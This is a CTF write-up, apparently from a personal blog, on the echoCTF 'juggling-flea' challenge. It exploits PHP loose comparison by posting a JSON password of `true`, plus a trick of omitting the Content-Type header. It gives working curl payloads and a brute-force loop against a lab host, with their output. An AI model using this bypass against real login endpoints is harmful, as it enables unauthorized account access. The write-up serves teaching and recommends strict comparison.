> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# echoCTF juggling-flea Writeup: PHP Type Juggling Authentication Bypass
- URL: https://taiwanding.com/en/echoctf-juggling-flea-writeup/
- Published: 2025-09-04T08:23:16.000Z
- Updated: 2026-07-15T02:49:46.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## **Challenge Info**

- **Platform**: echoCTF
- **Category**: Web Security
- **Difficulty**: **CTF Beginners** (300 points)
- **Description**: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
- **Challenge link**: [https://echoctf.red/target/53](https://echoctf.red/target/53?ref=taiwanding.com)

## **Walkthrough**

**Step 1: Initial recon** I visited the site and the page dumped its PHP source code straight away:

```php
<?php
if (empty($_POST))
{
  highlight_file(__FILE__);
  exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ...
if($auth->password==$mypassword)  // loose comparison!

```

Key observations:

- Password format: a random digit (0-9) + MD5(time())
- Uses `==` for a loose comparison
- Requires a POST request, and `$_POST` must not be empty

**Step 2: Reading the challenge name** "**juggling-flea**" hints at a PHP Type Juggling vulnerability.

**Step 3: Understanding PHP Type Juggling** In a PHP loose comparison, the rule for comparing a boolean against a string is:

```php
true == "any non-empty string"  // always TRUE

```

Since `$mypassword` is always a non-empty string (digit + MD5), `true == $mypassword` is guaranteed to hold.

**Step 4: Bypassing the $\_POST check** The key trick: don't set `Content-Type: application/json`.

- This keeps `$_POST` populated (bypassing the check)
- `php://input` still contains the JSON payload
- `json_decode()` parses it just fine

**Step 5: Grabbing the flag**

```bash
curl -s http://10.0.41.14:1337/ \
  -d '{"username":"admin","password":true}'

```

Nailed it on the first try!

```
Flag: ETSCTF_REDACTED

```

## **Key Takeaways**

- **The boolean bypass is the most reliable**: no luck required (see the alternative approach below), 100% success rate.
- **Understand $\_POST vs php://input**:
  - `$_POST` is only populated for certain Content-Types
  - `php://input` always contains the raw request body
- **The danger of PHP loose comparison**: always use `===` for safe comparisons.

## **Lessons Learned**

While solving this one, there were actually other approaches worth mentioning:

### **Trying numeric Type Juggling**

Once I realized that `7 == "7abc..."` evaluates to TRUE, I started looping through attempts:

```bash
while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":7}'
done

```

The problem: it kept returning the PHP source code, because adding the JSON header left `$_POST` empty. That's the other little twist in this challenge, and it has to be bypassed.

So it needs to become:

```bash
while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
```

This lets you brute-force it directly: `$_POST` is no longer empty, so the code takes the `php://input` path, and once past that, sooner or later the loose comparison will accept a "correct" password. Sure enough, after looping I eventually landed ETSCTF\_REDACTED.

```bash
└─$ while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}
```

Bottom line: I only figured out at the very end that simply dropping the `Content-Type` header solves the whole thing! And using the boolean `true` is far more reliable than a number: it works instantly on the first request, with no looping. This challenge also touched on some basic source-code review, which happens to be one of my weaker areas.